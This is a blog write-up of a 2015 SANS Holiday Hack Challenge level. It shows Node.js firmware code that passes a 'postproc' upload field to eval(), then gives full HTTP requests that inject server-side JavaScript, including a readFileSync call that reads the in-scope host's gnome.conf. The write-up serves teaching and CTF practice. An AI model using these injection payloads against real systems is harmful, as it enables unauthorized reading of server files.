Write up: 2015 Sans Holiday Hack Challenge – Part 4.4

Introduction

San Institute regularly creates a Christmas holiday hack challenge.

These challenges are a good way to try out new techniques or grow your knowledge in some new area.

As I get time to tackle the challenges I will write up my solution, frustrations and share any techniques that may come in handy for future challenges.

Challenge

List of SuperGnome IP addresses were obtained from challenge 4 and verified with Tom Hessman.

Part 4 of the challenge https://holidayhackchallenge.com/

7) Please describe the vulnerabilities you discovered in the Gnome firmware.

8) ONCE YOU GET APPROVAL OF GIVEN IN-SCOPE TARGET IP ADDRESSES FROM TOM HESSMAN IN THE DOSIS NEIGHBORHOOD, attempt to remotely exploit each of the SuperGnomes. Describe the technique you used to gain access to each SuperGnome’s gnome.conf file. YOU ARE AUTHORIZED TO ATTACK ONLY THE IP ADDRESSES THAT TOM HESSMAN IN THE DOSIS NEIGHBORHOOD EXPLICITLY ACKNOWLEDGES AS “IN SCOPE.” ATTACK NO OTHER SYSTEMS ASSOCIATED WITH THE HOLIDAY HACK CHALLENGE.

Please note: Although each SuperGnome is remotely exploitable based on flaws you can discover in the Gnome firmware, we DO NOT expect every participant to compromise every SuperGnome. Gain access to the ones you can. Although we will give special consideration to entries that successfully compromise all five SuperGnomes, we happily accept partial answers and point out that they too are eligible for any of the prizes.

Looks like we have to compromise the following hosts on the Internet

52.192.152.132
52.2.229.189
54.233.105.81
52.64.191.71
52.34.3.80

Vulnerabilities can be discovered by looking at the firmware dump.

Flag “Your goal is to retrieve the /gnome/www/files/gnome.conf file from each SuperGnome.”

52.192.152.132

Time to take a poke at the live host.

I’m going to fire up ‘Burp Suite Pro’ and configure my ‘Iceweasel’ to proxy through Burp using ‘foxyproxy’ plugin.

When hitting the server we see the Supergnome’s name which in this case is

SuperGnome 04

We are prompted for a username and password.

Using ‘admin’ and ‘SittingOnAShelf’ as the password gets us in.

Initial look around indicates that the ‘files’ upload feature is enabled.

POST /files HTTP/1.1 
Host: 52.192.152.132 
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1) 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 
Accept-Language: en-US,en;q=0.5 
Accept-Encoding: gzip, deflate 
Referer: http://52.192.152.132/files 
Cookie: sessionid=JfL0RIWfSC97oMSt2z4F 
Connection: close 
Content-Type: multipart/form-data; boundary=---------------------------8434954812231216051025671546 
Content-Length: 404 
 
-----------------------------8434954812231216051025671546 
Content-Disposition: form-data; name="postproc" 
 
postproc("darken20", file) 
-----------------------------8434954812231216051025671546 
Content-Disposition: form-data; name="file"; username=""; password=""; filename="myfile.png" 
Content-Type: image/png 
 
'
AAAAAAAAAAAAAAAAAAAa
 
-----------------------------8434954812231216051025671546--

Let’s take a look at the web scripts that we previously obtained from the firmware.

$ less -N routes/index.js

Line 166 looks interesting. Possible server side script injection?

 153 // FILES UPLOAD
 154 router.post('/files', upload.single('file'), function(req, res, next) {
 155 if (sessions[sessionid].logged_in === true && sessions[sessionid].user_level > 99) { // NEDFORD: this should be 99 n
 155 ot 100 so admins can upload
 156 var msgs = [];
 157 file = req.file.buffer;
 158 if (req.file.mimetype === 'image/png') {
 159 msgs.push('Upload successful.');
 160 var postproc_syntax = req.body.postproc;
 161 console.log("File upload syntax:" + postproc_syntax);
 162 if (postproc_syntax != 'none' && postproc_syntax !== undefined) {
 163 msgs.push('Executing post process...');
 164 var result;
 165 d.run(function() {
 166 result = eval('(' + postproc_syntax + ')');
 167 });

Shouldn’t have eval in your javascript.

Let’s test this theory out quickly.

POST /files HTTP/1.1 
Host: 52.192.152.132 
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1) 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 
Accept-Language: en-US,en;q=0.5 
Accept-Encoding: gzip, deflate 
Referer: http://52.192.152.132/files 
Cookie: sessionid=JfL0RIWfSC97oMSt2z4F 
Connection: close 
Content-Type: multipart/form-data; boundary=---------------------------8434954812231216051025671546 
Content-Length: 381 
 
-----------------------------8434954812231216051025671546 
Content-Disposition: form-data; name="postproc" 
 
5+5 
-----------------------------8434954812231216051025671546 
Content-Disposition: form-data; name="file"; username=""; password=""; filename="myfile.png" 
Content-Type: image/png 
 
'
AAAAAAAAAAAAAAAAAAAa
 
-----------------------------8434954812231216051025671546--

Replaced ‘postproc(“darken20”, file)’ with ‘5+5′ which should echo back ’10’ if successful.

HTTP/1.1 200 OK 
X-Powered-By: GIYH::SuperGnome by AtnasCorp 
Content-Type: text/html; charset=utf-8 
Content-Length: 3860 
ETag: W/"f14-4yr3BJE8UQO4AYljTTwWdg" 
Date: Tue, 15 Dec 2015 23:30:02 GMT 
Connection: close 
 
...
Executing post process...</p><p class="message">Post process result: 10</p>...
</body></html>

Appears to be vulnerable.

I particularly like this test from https://media.blackhat.com/bh-us-11/Sullivan/BH_US_11_Sullivan_Server_Side_WP.pdf

require('fs').readdirSync('.').toString()

Lists files in directory.

But the payload we need is a file read.

POST /files HTTP/1.1 
Host: 52.192.152.132 
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1) 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 
Accept-Language: en-US,en;q=0.5 
Accept-Encoding: gzip, deflate 
Referer: http://52.192.152.132/files 
Cookie: sessionid=LYG6IG9WZq73mLb8zFxl 
Connection: close 
Content-Type: multipart/form-data; boundary=---------------------------8434954812231216051025671546 
Content-Length: 435 
 
-----------------------------8434954812231216051025671546 
Content-Disposition: form-data; name="postproc" 
 
require('fs').readFileSync('/gnome/www/files/gnome.conf') 
-----------------------------8434954812231216051025671546 
Content-Disposition: form-data; name="file"; username=""; password=""; filename="myfile.png" 
Content-Type: image/png 
 
'
AAAAAAAAAAAAAAAAAAAa
 
-----------------------------8434954812231216051025671546--

 

HTTP/1.1 200 OK 
X-Powered-By: GIYH::SuperGnome by AtnasCorp 
Content-Type: text/html; charset=utf-8 
Content-Length: 4208 
ETag: W/"1070-Jo7i+NGHd32e2cYWZTjmCQ" 
Date: Wed, 16 Dec 2015 00:35:27 GMT 
Connection: close 
 
<!DOCTYPE html><html>
...
Files</h1><p class="message">Upload successful.</p><p class="message">Executing post process...</p><p class="message">Post process result: Gnome Serial Number: BU22_1729_2716057 
Current config file: ./tmp/e31faee/cfg/sg.01.v1339.cfg
Allow new subordinates?: YES
Camera monitoring?: YES
Audio monitoring?: YES
Camera update rate: 60min
Gnome mode: SuperGnome
Gnome name: SG-04
Allow file uploads?: YES
Allowed file formats: .png
Allowed file size: 512kb
Files directory: /gnome/www/files/
...
</body></html>

Flag: BU22_1729_2716057

Thank you

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s